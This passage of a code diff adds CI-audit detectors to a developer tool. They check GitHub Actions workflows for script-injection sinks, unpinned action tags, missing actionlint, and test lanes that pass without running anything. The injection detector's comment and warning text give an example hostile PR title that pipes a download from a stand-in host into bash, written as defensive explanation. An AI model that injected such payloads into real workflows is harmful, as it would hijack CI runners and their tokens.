+ * but invalid GitHub Actions (doubled quotes inside ${{ }}, always-true `if:` block
115
+ * scalars). actionlint is GHA-aware and catches that class.
116
+ *
117
+ * Only fires when the consumer adopted the bkit-ci.yml template (ADOPTED_CI_JOB_RE).
118
+ * bkit-ci.yml is the consumer's file, so `bkit install` never adds the step — the action
119
+ * inlines the manual step.
120
+ */
121
+ export function detectCiYmlMissingActionlint(cwd) {
122
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
123
+ if (!fs.existsSync(ciPath))
124
+ return null;
125
+ const content = fs.readFileSync(ciPath, "utf-8");
126
+ if (!ADOPTED_CI_JOB_RE.test(content))
127
+ return null;
128
+ if (/actionlint/i.test(content))
129
+ return null;
130
+ return {
131
+ id: "ci-yml-missing-actionlint",
132
+ severity: "advisory",
133
+ detect: ".github/workflows/bkit-ci.yml (adopted from bkit's template) has no actionlint step. yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
134
+ action: "Add an actionlint step among the static checks in .github/workflows/bkit-ci.yml (before the test/build group):\n\n" +
135
+ " - name: Run actionlint\n" +
136
+ " if: steps.cache.outputs.skip != 'true'\n" +
137
+ " run: |\n" +
138
+ ' curl -sSfL https://raw.githubusercontent.com/rhysd/actionlint/v1.7.12/scripts/download-actionlint.bash -o "$RUNNER_TEMP/download-actionlint.bash"\n' +
139
+ ' bash "$RUNNER_TEMP/download-actionlint.bash" 1.7.12 "$RUNNER_TEMP"\n' +
140
+ ' "$RUNNER_TEMP/actionlint" -color',
141
+ };
142
+ }
143
+ /**
144
+ * Detect an untrusted GitHub Actions expression interpolated directly into a `run:` shell
145
+ * body in `.github/workflows/bkit-ci.yml` — the classic GHA script-injection sink. A PR titled
146
+ * `"; curl evil.sh | bash; "` expands into the runner's shell when `${{ github.event.* }}`
147
+ * (or `github.head_ref`) is inlined into `run:` text. The safe form is env-indirection: map
148
+ * the value to an `env:` var and reference `$VAR` (GitHub runtime-expands env values and never
149
+ * re-parses them as shell). bkit-ci.yml is the consumer's file — bkit's template was hardened but
150
+ * nothing back-fills a copy adopted before the fix, so it keeps the vulnerable inline form.
151
+ * This surfaces it as a dedicated security finding.
152
+ *
153
+ * Line-based (no YAML dep, like the sibling bkit-ci.yml detectors): tracks `run:` blocks by
154
+ * indentation and flags untrusted expressions inside their bodies only. `env:` / `if:` /
155
+ * `with:` / `concurrency:` contexts are NOT run bodies, so the safe env-indirection form does
156
+ * not fire; a YAML-commented `run:` key never opens a body, so shipped commented stubs stay
157
+ * silent. Only scans a bkit-ci.yml adopted from bkit's template (ADOPTED_CI_JOB_RE).
158
+ */
159
+ export function detectCiYmlRunInjection(cwd) {
160
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
161
+ if (!fs.existsSync(ciPath))
162
+ return null;
163
+ const content = fs.readFileSync(ciPath, "utf-8");
164
+ if (!ADOPTED_CI_JOB_RE.test(content))
165
+ return null;
166
+ // Attacker-controllable payload contexts: any github.event.* field and github.head_ref.
167
+ // github.base_ref / github.event_name / SHAs are constrained values and are excluded
168
+ // (the shipped commented stubs reference github.base_ref).
169
+ const UNTRUSTED = /\$\{\{[^}]*\b(?:github\.event\.[\w.]+|github\.head_ref)\b[^}]*\}\}/;
170
+ const indentOf = (l) => l.length - l.replace(/^[ \t]*/, "").length;
171
+ const hits = [];
172
+ let runKeyIndent = null; // indent of an active `run:` key; its body is deeper
173
+ for (const line of content.split("\n")) {
174
+ if (runKeyIndent !== null) {
175
+ if (line.trim() === "")
176
+ continue; // blank lines belong to the block scalar
177
+ if (indentOf(line) <= runKeyIndent) {
178
+ runKeyIndent = null; // block ended — re-examine this line below
179
+ }
180
+ else {
181
+ if (UNTRUSTED.test(line))
182
+ hits.push(line.trim());
183
+ continue;
184
+ }
185
+ }
186
+ if (/^\s*#/.test(line))
187
+ continue; // a commented `run:` key never opens a body
188
+ // `run:` may be the first key of a `- ` list item (`- run: |`), which shifts the real
189
+ // key column; body membership is measured from the `run:` token, not the line start, so a
190
+ // sibling key (`env:` / `if:`) at the run: column correctly closes the block.
191
+ const m = /^([ \t]*)(-[ \t]+)?run:[ \t]*(.*)$/.exec(line);
192
+ if (!m)
193
+ continue;
194
+ const keyIndent = (m[1] ?? "").length + (m[2] ?? "").length;
195
+ const rest = (m[3] ?? "").trim();
196
+ if (rest === "" || /^[|>]/.test(rest)) {
197
+ runKeyIndent = keyIndent; // block scalar (`run: |` / `run: >`) — body follows
198
+ }
199
+ else if (UNTRUSTED.test(rest)) {
200
+ hits.push(line.trim()); // inline `run: <cmd with ${{ … }}>`
201
+ }
202
+ }
203
+ if (hits.length === 0)
204
+ return null;
205
+ const shown = hits
206
+ .slice(0, 3)
207
+ .map((h) => ` ${h}`)
208
+ .join("\n");
209
+ const more = hits.length > 3 ? `\n … (+${hits.length - 3} more)` : "";
210
+ return {
211
+ id: "ci-yml-run-injection",
212
+ severity: "advisory",
213
+ detect: "SECURITY: .github/workflows/bkit-ci.yml interpolates untrusted GitHub Actions input " +
214
+ "(github.event.* / github.head_ref) directly into a run: shell body — a script-injection " +
215
+ 'sink. A PR title or branch name like `"; curl evil.sh | bash; "` then runs on your CI ' +
216
+ `runner (which holds GITHUB_TOKEN):\n${shown}${more}`,
217
+ action: "Route each untrusted value through an env: var and reference it as a shell variable — " +
218
+ "GitHub runtime-expands env values and never re-parses them as shell, closing the injection:\n\n" +
219
+ " - name: <step>\n" +
220
+ " env:\n" +
221
+ " PR_TITLE: ${{ github.event.pull_request.title }}\n" +
222
+ " run: |\n" +
223
+ ' MSG="$PR_TITLE" # NOT MSG="${{ github.event.pull_request.title }}"\n\n' +
224
+ "Apply the same env-indirection to every flagged line (github.event.*, github.head_ref). " +
225
+ "bkit's current bkit-ci.yml template already uses this form — re-sync the affected steps from " +
226
+ ".bkit/templates/.github/workflows/bkit-ci.yml if you adopted it before the hardening.",
227
+ };
228
+ }
229
+ /**
230
+ * Detect drift of the consumer's `bkit-tests-check` capstone from bkit's canonical
231
+ * CI contract. bkit-ci.yml is the consumer's copy of a template; bkit never rewrites it.
232
+ * WARNING-ONLY presence check: flags the ABSENCE of a known-good fragment, never
233
+ * "differs from canonical". Fires when bkit-ci.yml defines a bkit-tests-check job (the
234
+ * template ships one).
235
+ *
236
+ * Every check reads `code` (full-line comments stripped): the template's commented
237
+ * scaffold reference names `bkit-tests-check`, `!cancelled()` and `live_ran`.
238
+ */
239
+ export function detectCiYmlCapstoneContractDrift(cwd) {
240
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
241
+ if (!fs.existsSync(ciPath))
242
+ return null;
243
+ const content = fs.readFileSync(ciPath, "utf-8");
244
+ const code = content
245
+ .split("\n")
246
+ .filter((line) => !/^\s*#/.test(line))
247
+ .join("\n");
248
+ if (!/^\s+bkit-tests-check:/m.test(code))
249
+ return null; // no capstone job
250
+ const missing = [];
251
+ // 1. Capstone must run on !cancelled() (NOT always()) — else a concurrency-cancel
252
+ // stamps a bogus failure on the required check and blocks release PRs.
253
+ if (!code.includes("!cancelled()")) {
254
+ missing.push("the capstone `if: ${{ !cancelled() }}` guard — without it a concurrency-cancel stamps a bogus failure on the required check (use `!cancelled()`, never `always()`).");
255
+ }
256
+ // 2. One run per branch or pull request. A newer run cancels the older one on every
257
+ // event EXCEPT the default branch, which queues (a cancellation mid-promote could
258
+ // strand production across two releases). The group keys a PR on its number and a push
259
+ // on the ref — not github.run_id, which never collides and so never cancels. A push
260
+ // then plans from the last green run.
261
+ // Flagged: an unconditional cancel (the default branch would be cancelled too), a
262
+ // PR-only cancel, or a group keyed on github.run_id.
263
+ const unconditionalCancel = /cancel-in-progress:\s*true(?:\s|$)/.test(code);
264
+ const prOnlyCancel = /cancel-in-progress:\s*\$\{\{\s*github\.event_name\s*==\s*'pull_request'\s*\}\}/.test(code);
265
+ const runIdGroup = /group:[^\n]*github\.run_id/.test(code);
266
+ if (/concurrency:/.test(code) && (unconditionalCancel || prOnlyCancel || runIdGroup)) {
267
+ missing.push("one run per branch or pull request, with the default branch QUEUING — `cancel-in-progress: ${{ github.ref != 'refs/heads/<default-branch>' }}`, group `ci-${{ github.workflow }}-${{ github.event_name == 'pull_request' && format('pr-{0}', github.event.pull_request.number) || github.ref }}`. Cancelling the default branch mid-promote can strand production across two releases; a PR-only cancel, an unconditional cancel, or a group keyed on `github.run_id` also lets a superseded run keep running. A push plans from the last green run on the branch, so a cancelled run's changes stay in scope.");
268
+ }
269
+ // 3. Non-hollow capstone: every test lane's executed count must be read downstream, not
270
+ // just its result (passWithNoTests / no-CI-home / all-skipIf are green-with-zero).
271
+ // Checked per lane: one lane's count says nothing about another's.
272
+ const lanes = [
273
+ ...code.matchAll(/^\s+(bkit-tests-(?:unit|integration|e2e|live)(?:-[a-z0-9]+)*):\s*$/gm),
274
+ ].map((m) => m[1]);
275
+ const uncounted = lanes.filter((lane) => !new RegExp(`needs\\.${lane}\\.outputs\\.\\w+_(?:ran|count)\\b`).test(code));
276
+ if (uncounted.length > 0) {
277
+ missing.push(`an executed-count assertion (non-hollow gate) for ${uncounted.map((l) => "`" + l + "`").join(", ")} — the capstone should read each lane's count output (e.g. \`needs.bkit-tests-live-web.outputs.live_ran\`) and assert >0 when that tier is planned, else passWithNoTests / a tagged suite with no CI home / all-skipIf tests pass vacuously. See docs/testing.md § "Validated means executed".`);
278
+ }
279
+ if (missing.length === 0)
280
+ return null;
281
+ return {
282
+ id: "ci-yml-capstone-contract-drift",
283
+ severity: "advisory",
284
+ detect: `.github/workflows/bkit-ci.yml (adopted from bkit's template) has a bkit-tests-check capstone missing ${missing.length} ` +
285
+ "load-bearing invariant(s) from bkit's canonical CI contract. bkit-ci.yml is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.",
286
+ action: "Consider restoring these to keep `green == validated` (see the FULL CI SCAFFOLD REFERENCE in the bkit bkit-ci.yml template):\n\n" +
287
+ missing.map((m) => " - " + m).join("\n"),
288
+ };
289
+ }
290
+ // Tag-gated tiers invoked via a per-package script: a tagged test whose owning package
291
+ // declares no matching script is silently skipped by `turbo run <script>` (exits 0) —
292
+ // the tag is dead and the tier ghost-greens. Suffix-based tiers (integration via
293
+ // *.integration.test.ts) are covered by the bkit-ci.yml template's own missing-script warning.
294
+ const TAG_SCRIPT_HOMES = [
295
+ { tag: "@live", script: "test:live" },
296
+ { tag: "@smoke", script: "test:smoke" },
297
+ ];
298
+ const HOME_WALK_SKIP_DIRS = new Set([
299
+ "node_modules",
300
+ ".git",
301
+ ".worktrees", // local git worktree roots — checkouts of the same repo, not part of it
302
+ "dist",
303
+ ".next",
304
+ "coverage",
305
+ ".turbo",
306
+ "playwright-report",
307
+ "test-results",
308
+ ".vercel",
309
+ ]);
310
+ function walkRepoForHomeCheck(dir, testFiles, packageJsons, depth = 0) {
311
+ if (depth > 8)
312
+ return;
313
+ let entries;
314
+ try {
315
+ entries = fs.readdirSync(dir, { withFileTypes: true });
316
+ }
317
+ catch (err) {
318
+ // Unreadable directory (permissions / not-a-dir race): skip this subtree, logged
319
+ // under BKIT_DEBUG.
320
+ if (process.env.BKIT_DEBUG)
321
+ console.error(`[bkit] home-check skipped ${dir}: ${err.message}`);
322
+ return;
323
+ }
324
+ for (const e of entries) {
325
+ const full = path.join(dir, e.name);
326
+ if (e.isDirectory()) {
327
+ if (HOME_WALK_SKIP_DIRS.has(e.name))
328
+ continue;
329
+ walkRepoForHomeCheck(full, testFiles, packageJsons, depth + 1);
330
+ }
331
+ else if (e.name === "package.json") {
332
+ packageJsons.push(full);
333
+ }
334
+ else if (/\.(test|spec)\.[cm]?tsx?$/.test(e.name)) {
335
+ testFiles.push(full);
336
+ }
337
+ }
338
+ }
339
+ // A tag gates a tier by appearing in a test's NAME — the runner selects it with a
340
+ // `-t @live` / `--testNamePattern` filter, which matches the test TITLE. So only a tag
341
+ // inside a test-title string is a real tagged test; the same token in a code comment or
342
+ // an unrelated string literal (e.g. a doc-comment that documents the convention) is not.
343
+ // Matches the tag inside the title argument of it / test / describe / bench / suite,
344
+ // including `.only` / `.skip` / `.each(table)` chains and ' " ` quotes.
345
+ const TEST_DEF_TITLE = /\b(?:it|test|describe|bench|suite)(?:\.\w+)*\s*(?:\([^)]*\)\s*)?\(\s*(['"`])((?:\\.|(?!\1)[\s\S])*?)\1/g;
346
+ // Mark every byte that sits inside a string, template literal, or comment. A REAL
347
+ // test definition's `it`/`describe` keyword is code (mask 0); a keyword that appears
348
+ // INSIDE a string is a fixture — a tag-linter package embeds sample test source as a
349
+ // string literal (`const F = \`describe("@live X", …)\``) to lint it. Masked keyword
350
+ // positions are skipped; real, runnable tests are never authored inside a quote.
351
+ //
352
+ // `'`/`"` strings terminate at end-of-line; only template literals span lines, so a
353
+ // mis-lex from a regex literal containing a lone quote stays on its own line. Regex
354
+ // literals are otherwise treated as plain code.
355
+ function stringCommentMask(text) {
356
+ const mask = new Uint8Array(text.length);
357
+ const n = text.length;
358
+ let i = 0;
359
+ while (i < n) {
360
+ const c = text[i];
361
+ if (c === "/" && text[i + 1] === "/") {
362
+ while (i < n && text[i] !== "\n")
363
+ mask[i++] = 1;
364
+ continue;
365
+ }
366
+ if (c === "/" && text[i + 1] === "*") {
367
+ mask[i++] = 1;
368
+ mask[i++] = 1;
369
+ while (i < n && !(text[i] === "*" && text[i + 1] === "/"))
370
+ mask[i++] = 1;
371
+ if (i < n) {
372
+ mask[i++] = 1;
373
+ mask[i++] = 1;
374
+ }
375
+ continue;
376
+ }
377
+ if (c === '"' || c === "'" || c === "`") {
378
+ const singleLine = c !== "`";
379
+ mask[i++] = 1;
380
+ while (i < n) {
381
+ if (text[i] === "\\") {
382
+ mask[i++] = 1;
383
+ if (i < n)
384
+ mask[i++] = 1;
385
+ continue;
386
+ }
387
+ if (text[i] === c) {
388
+ mask[i++] = 1;
389
+ break;
390
+ }
391
+ if (singleLine && text[i] === "\n")
392
+ break; // unterminated — stop at line end
393
+ mask[i++] = 1;
394
+ }
395
+ continue;
396
+ }
397
+ i++;
398
+ }
399
+ return mask;
400
+ }
401
+ function tagUsedInTestTitle(text, tag, mask) {
402
+ TEST_DEF_TITLE.lastIndex = 0;
403
+ let m;
404
+ while ((m = TEST_DEF_TITLE.exec(text)) !== null) {
405
+ if (mask[m.index])
406
+ continue; // keyword sits inside a string/comment — a fixture, not a real test
407
+ if (m[2].includes(tag))
408
+ return true;
409
+ }
410
+ return false;
411
+ }
412
+ /**
413
+ * Detect `@live` / `@smoke`-tagged tests whose owning package declares no matching
414
+ * `test:live` / `test:smoke` script — they have "no CI home": `turbo run test:live`
415
+ * skips a package with no such script and exits 0, so the tagged tests never run and the
416
+ * live/smoke tier reports green having executed nothing.
417
+ *
418
+ * Only flags a tag when the convention is ACTIVE in the repo (at least one package
419
+ * declares the script); a silent no-op otherwise. WARNING-only; the capstone's
420
+ * `run_live => live_ran > 0` assertion is the runtime check.
421
+ */
422
+ export function detectTaggedTestsWithoutCiHome(cwd) {
423
+ const testFiles = [];
424
+ const packageJsons = [];
425
+ walkRepoForHomeCheck(cwd, testFiles, packageJsons);
426
+ if (testFiles.length === 0 || packageJsons.length === 0)
427
+ return null;
428
+ // pkgPath -> scripts object; and the set of every script name declared anywhere.
429
+ const pkgScripts = new Map();
430
+ const declaredScripts = new Set();
431
+ for (const pj of packageJsons) {
432
+ try {
433
+ const parsed = JSON.parse(fs.readFileSync(pj, "utf-8"));
434
+ const scripts = parsed.scripts ?? {};
435
+ pkgScripts.set(pj, scripts);
436
+ for (const name of Object.keys(scripts))
437
+ declaredScripts.add(name);
438
+ }
439
+ catch {
440
+ pkgScripts.set(pj, {});
441
+ }
442
+ }
443
+ const nearestPkg = (fileDir) => {
444
+ let dir = fileDir;
445
+ for (;;) {
446
+ const pj = path.join(dir, "package.json");
447
+ if (pkgScripts.has(pj))
448
+ return pj;
449
+ const parent = path.dirname(dir);
450
+ if (parent === dir || dir === cwd)
451
+ return pkgScripts.has(pj) ? pj : null;
452
+ dir = parent;
453
+ }
454
+ };
455
+ const homeless = new Map(); // tag -> set of "pkgdir (needs `script`)"
456
+ for (const file of testFiles) {
457
+ let text;
458
+ try {
459
+ text = fs.readFileSync(file, "utf-8");
460
+ }
461
+ catch {
462
+ continue;
463
+ }
464
+ let mask = null; // lazily built on the first tag that survives fast-reject
465
+ for (const { tag, script } of TAG_SCRIPT_HOMES) {
466
+ if (!declaredScripts.has(script))
467
+ continue; // convention not active for this tag
468
+ if (!text.includes(tag))
469
+ continue; // fast reject before the title-context regex
470
+ mask ??= stringCommentMask(text);
471
+ if (!tagUsedInTestTitle(text, tag, mask))
472
+ continue; // tag must be in a real test TITLE, not a comment/string/fixture
473
+ const pj = nearestPkg(path.dirname(file));
474
+ if (!pj)
475
+ continue;
476
+ if (typeof pkgScripts.get(pj)?.[script] !== "string") {
477
+ const rel = path.relative(cwd, path.dirname(pj)) || ".";
478
+ if (!homeless.has(tag))
479
+ homeless.set(tag, new Set());
480
+ homeless.get(tag)?.add(rel);
481
+ }
482
+ }
483
+ }
484
+ if (homeless.size === 0)
485
+ return null;
486
+ const lines = [];
487
+ for (const { tag, script } of TAG_SCRIPT_HOMES) {
488
+ const pkgs = homeless.get(tag);
489
+ if (pkgs && pkgs.size > 0) {
490
+ lines.push(` ${tag} (run by \`turbo run ${script}\`) → add \`${script}\` to: ${[...pkgs].sort().join(", ")}`);
491
+ }
492
+ }
493
+ return {
494
+ id: "tagged-tests-no-ci-home",
495
+ severity: "advisory",
496
+ detect: "Found `@live`/`@smoke`-tagged tests in package(s) that declare no matching `test:live`/`test:smoke` script. `turbo run test:live` skips a package with no such script and exits 0 — the tagged tests never run, and the tier reports green having executed nothing (ghost-green / 'no CI home').",
497
+ action: "Give each tagged suite a CI home — add the matching script to the package's package.json so the live/smoke tier actually invokes it:\n\n" +
498
+ lines.join("\n") +
499
+ '\n\nExample: `"test:live": "vitest run --project live"` (or your runner\'s tag filter). The bkit-tests-check capstone\'s `run_live => live_ran > 0` assertion is the runtime backstop; this catches it earlier.',
500
+ };
501
+ }
502
+ // ---------------------------------------------------------------------------
503
+ // Consumer customisations that bkit ships primitives for but does NOT enforce
504
+ // — turbo inputs, integration runtime env, GHA pinning, renovate, etc.
505
+ // ---------------------------------------------------------------------------
506
+ /**
507
+ * Detect whether the consumer's turbo.json declares external-state proxies in
508
+ * `inputs` for `test:integration` / `test:e2e` tasks. Without proxies, turbo's
509
+ * content-keyed cache can replay a stale green when external state (Supabase
510
+ * migrations, fixture data, env templates) changed — the BAR-192 ghost-green
511
+ * failure mode documented in KN-24. Returns null when no turbo.json or no
512
+ * matching tasks.
513
+ */
514
+ export function detectTurboIntegrationInputs(cwd) {
515
+ const findings = [];
516
+ const turboPath = path.join(cwd, "turbo.json");
517
+ if (!fs.existsSync(turboPath))
518
+ return findings;
519
+ let doc;
520
+ try {
521
+ doc = JSON.parse(fs.readFileSync(turboPath, "utf-8"));
522
+ }
523
+ catch {
524
+ return findings;
525
+ }
526
+ // turbo v2 → `tasks`; turbo v1 → `pipeline`. Either may be present.
527
+ const tasks = doc.tasks ?? doc.pipeline ?? {};
528
+ const externalProxyHints = ["migrations", "fixtures", "seed", ".env"];
529
+ for (const taskName of ["test:integration", "test:e2e"]) {
530
+ const task = tasks[taskName];
531
+ if (!task)
532
+ continue;
533
+ const inputs = Array.isArray(task.inputs) ? task.inputs : [];
534
+ const hasProxy = inputs.some((i) => externalProxyHints.some((hint) => typeof i === "string" && i.toLowerCase().includes(hint)));
535
+ if (hasProxy)
536
+ continue;
537
+ findings.push({
538
+ id: `turbo-${taskName.replace(":", "-")}-inputs-missing`,
539
+ severity: "advisory",
540
+ detect: `turbo.json#${tasks === doc.pipeline ? "pipeline" : "tasks"}.${taskName} has no external-state proxies in \`inputs\` (no migrations / fixtures / seed / .env entries).`,
541
+ action: `Add the external-state proxies that affect this task's outcome to \`inputs\`:\n\n` +
542
+ ` "${taskName}": {\n` +
543
+ ` "cache": true,\n` +
544
+ ` "inputs": ["supabase/migrations/**", "**/fixtures/**", "**/.env.*.template"]\n` +
545
+ ` }\n\n` +
546
+ `Without them, turbo cache replays can ghost-green a stale SHA (KN-24): a concurrent migration on dev between PR-CI and merge-CI does NOT bust the cache, so the merge run replays the pre-migration green. Adjust the glob set to match your consumer's external-state surface.`,
547
+ });
548
+ }
549
+ return findings;
550
+ }
551
+ /**
552
+ * Detect whether the consumer's `test:integration` lane asserts real-service runtime
553
+ * env (TEST_REAL_APIS, SUPABASE_*, service-role URL refs). A lane that silently mocks
554
+ * integration tests passes CI without exercising real services (KN-23). Returns null if
555
+ * no `test:integration` script.
556
+ *
557
+ * All three gating layers are inspected before flagging a no-op lane: (1) the script
558
+ * string itself, (2) the CI workflow job that invokes `test:integration` (an
559
+ * env-agnostic script provisioned at the lane), (3) the vitest integration config the
560
+ * script points at (home of the documented in-file guard).
561
+ */
562
+ export function detectTestIntegrationEnv(cwd) {
563
+ const read = readPackageJson(cwd);
564
+ if (!read.ok)
565
+ return null;
566
+ const pkg = read.pkg;
567
+ const script = pkg.scripts?.["test:integration"];
568
+ if (!script)
569
+ return null;
570
+ const realServiceHints = [
571
+ "TEST_REAL_APIS",
572
+ "SUPABASE_SERVICE_ROLE",
573
+ "SUPABASE_URL",
574
+ "service_role",
575
+ "supabase start",
576
+ ];
577
+ const hasHint = (t) => realServiceHints.some((h) => t.includes(h));
578
+ // 1. Script body / chain (consumers commonly wrap real-API setup in a sibling script).
579
+ if (hasHint(script))
580
+ return null;
581
+ // 2. CI workflow lane: a workflow file that BOTH invokes `test:integration` AND
582
+ // provisions a real-service hint is the lane doing the gating — the pattern for an
583
+ // env-agnostic script (`supabase start` + `TEST_REAL_APIS` +
584
+ // service-role export around `turbo run test:integration`).
585
+ const workflowsDir = path.join(cwd, ".github", "workflows");
586
+ if (fs.existsSync(workflowsDir) && fs.statSync(workflowsDir).isDirectory()) {
587
+ for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
588
+ if (!entry.isFile() || !/\.ya?ml$/.test(entry.name))
589
+ continue;
590
+ const wf = fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8");
591
+ if (wf.includes("test:integration") && hasHint(wf))
592
+ return null;
593
+ }
594
+ }
595
+ // 3. vitest integration config the script points at (or a conventional default) —
596
+ // where consumers document/enforce the per-file `TEST_REAL_APIS` guard.
597
+ const configFromScript = /--config[=\s]+(\S+)/.exec(script)?.[1];
598
+ const configCandidates = [
599
+ ...(configFromScript ? [configFromScript] : []),
600
+ "vitest.integration.config.ts",
601
+ "vitest.integration.config.mts",
602
+ "vitest.integration.config.js",
603
+ ];
604
+ for (const rel of configCandidates) {
605
+ const cfgPath = path.join(cwd, rel);
606
+ if (fs.existsSync(cfgPath) && hasHint(fs.readFileSync(cfgPath, "utf-8")))
607
+ return null;
608
+ }
609
+ return {
610
+ id: "test-integration-env-not-asserted",
611
+ severity: "advisory",
612
+ detect: "`package.json#scripts.test:integration` exists, but no real-service env gating (TEST_REAL_APIS, SUPABASE_SERVICE_ROLE, service-role URL, or a `supabase start` chain) was found in the script, the CI workflow lane that runs it, or the vitest integration config.",
613
+ action: "Confirm integration tests actually exercise real services — otherwise the CI integration step (your own, or the one in bkit's bkit-ci.yml template once adopted) is a no-op (KN-23 false-confidence loop). Provision the real-service env at ANY one of these layers (all are recognised):\n\n" +
614
+ ' - script: "test:integration": "TEST_REAL_APIS=true SUPABASE_URL=$SUPABASE_DEV_URL vitest run --config=vitest.integration.config.ts"\n' +
615
+ " - CI lane: set `TEST_REAL_APIS` / export the service-role URL / chain `supabase start` around `turbo run test:integration` in the `.github/workflows/*.yml` job that runs it (keeps local `pnpm test:integration` env-agnostic)\n" +
616
+ " - vitest integration config: document/enforce the per-file `TEST_REAL_APIS` guard in the config the script `--config`s to.",
617
+ };
618
+ }
619
+ /**
620
+ * Detect whether `.github/workflows/<file>.yml` uses floating action tag
621
+ * references (`uses: <owner>/<repo>@v\d+`) without SHA pinning. KN-3 mandates
622
+ * SHA pins for any workflow that runs with elevated permissions. Every workflow file
623
+ * is the consumer's (bkit ships workflows as templates only), so every one is scanned.
624
+ */
625
+ export function detectGhaFloatingTags(cwd) {
626
+ const workflowsDir = path.join(cwd, ".github", "workflows");
627
+ if (!fs.existsSync(workflowsDir) || !fs.statSync(workflowsDir).isDirectory())
628
+ return null;
629
+ const floatingByFile = new Map();
630
+ for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
631
+ if (!entry.isFile())
632
+ continue;
633
+ if (!/\.ya?ml$/.test(entry.name))
634
+ continue;
635
+ const content = fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8");
636
+ // Matches `uses: org/repo@v1`, `uses: org/repo@v1.2.3`, but NOT `uses: org/repo@<40-char-sha>`.
637
+ const re = /uses:\s*([^\s@]+@v[\d.]+)/g;
638
+ const matches = Array.from(content.matchAll(re), (m) => m[1]);
639
+ if (matches.length > 0)
640
+ floatingByFile.set(entry.name, matches);
641
+ }
642
+ if (floatingByFile.size === 0)
643
+ return null;
644
+ const lines = Array.from(floatingByFile.entries())
645
+ .map(([file, refs]) => ` ${file}: ${refs.join(", ")}`)
646
+ .join("\n");
647
+ return {
648
+ id: "gha-actions-floating-tags",
649
+ severity: "advisory",
650
+ detect: `.github/workflows/ uses floating-tag action refs (KN-3). Affected files:\n${lines}`,
651
+ action: "Replace each `@vN[.N.N]` with a 40-character commit SHA and a `# vN.N.N` comment, e.g.:\n\n" +
652
+ " - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n\n" +
653
+ "Look up SHAs with `git ls-remote https://github.com/<org>/<repo>.git 'refs/tags/v*' | tail -3`. Apply to ALL workflow files that run with elevated permissions (`packages: write`, `id-token: write`). Copy `.github/renovate.json5` or `.github/dependabot.yml` from the bkit examples so SHA pins refresh on upstream releases. See docs/deployments.md § Dependency updaters.",
654
+ };
655
+ }
656
+ /**
657
+ * Detect whether the consumer composed a gate on bkit's `Detect Direct Push` step
658
+ * outputs (`should_force_build` / `should_run_full`). The bkit-ci.yml template ships these
659
+ * primitives only — without a consumer-side gate reading the outputs, the force-tag
660
+ * system documented in deployments.md is documentation-only.
661
+ *
662
+ * "Composition" = a `steps.detect.outputs.should_*` READ on an uncommented line, in a
663
+ * sibling workflow or in bkit-ci.yml itself. bkit's shipped steps only SET these outputs and
664
+ * the example E2E gate ships commented (`bkit-stub:e2e`), so neither false-positives.
665
+ */
666
+ export function detectRunLevelsNotComposed(cwd) {
667
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
668
+ if (!fs.existsSync(ciPath))
669
+ return null;
670
+ const ciContent = fs.readFileSync(ciPath, "utf-8");
671
+ // Bkit's bkit-ci.yml ships the `Detect Direct Push` step — if absent, no primitives to compose.
672
+ if (!ciContent.includes("Detect Direct Push"))
673
+ return null;
674
+ const workflowsDir = path.join(cwd, ".github", "workflows");
675
+ // A consumer "composes" run-levels by READING bkit's force-tag outputs in a gate
676
+ // (`steps.detect.outputs.should_*`). bkit's own shipped bkit-ci.yml only SETS those outputs
677
+ // (`echo "should_force_build=true" >> $GITHUB_OUTPUT`) and gates internal steps on
678
+ // `cache.outputs.skip` — neither is consumer composition. So we look for the READ form,
679
+ // on uncommented lines only (the shipped `bkit-stub:e2e` block reads the outputs but is
680
+ // commented out by default — enabling it correctly counts as composition).
681
+ // bkit-ci.yml is the consumer's file, so matching the read form is what distinguishes a
682
+ // consumer gate.
683
+ const readTokens = [
684
+ "steps.detect.outputs.should_force_build",
685
+ "steps.detect.outputs.should_run_full",
686
+ ];
687
+ const composesRunLevels = (content) => content
688
+ .split("\n")
689
+ .some((line) => !/^\s*#/.test(line) && readTokens.some((tok) => line.includes(tok)));
690
+ let composed = false;
691
+ // Any sibling workflow that gates on the outputs.
692
+ for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
693
+ if (!entry.isFile() || !/\.ya?ml$/.test(entry.name))
694
+ continue;
695
+ if (entry.name === "bkit-ci.yml")
696
+ continue; // checked below
697
+ if (composesRunLevels(fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8"))) {
698
+ composed = true;
699
+ break;
700
+ }
701
+ }
702
+ // Or a consumer-added gate inside bkit-ci.yml itself (e.g. an enabled bkit-stub:e2e block,
703
+ // or a deploy/job step reading the outputs).
704
+ if (!composed && composesRunLevels(ciContent))
705
+ composed = true;
706
+ if (composed)
707
+ return null;
708
+ return {
709
+ id: "run-levels-not-composed",
710
+ severity: "advisory",
711
+ detect: ".github/workflows/bkit-ci.yml ships bkit's `Detect Direct Push` step outputs (`should_force_build`, `should_run_full`, `cache.outputs.skip`) but no consumer-side workflow or step gates on them.",
712
+ action: "`docs/deployments.md` documents bkit's none / partial / full run-level shape — the matrix is documentation-only until you compose at least one consumer-side gate. Examples:\n\n" +
713
+ " - A deploy job: `if: steps.detect.outputs.should_force_build == 'true' || github.ref == 'refs/heads/main'`\n" +
714
+ " - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n" +
715
+ " - A smoke workflow: copy the `bkit-stub:smoke` block to `.github/workflows/smoke.yml`.\n\n" +
716
+ "If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the `Detect Direct Push` step from bkit-ci.yml. Note this also disables `[force cache]` / `[force build]` / `[force full]` tag detection.",
717
+ };
718
+ }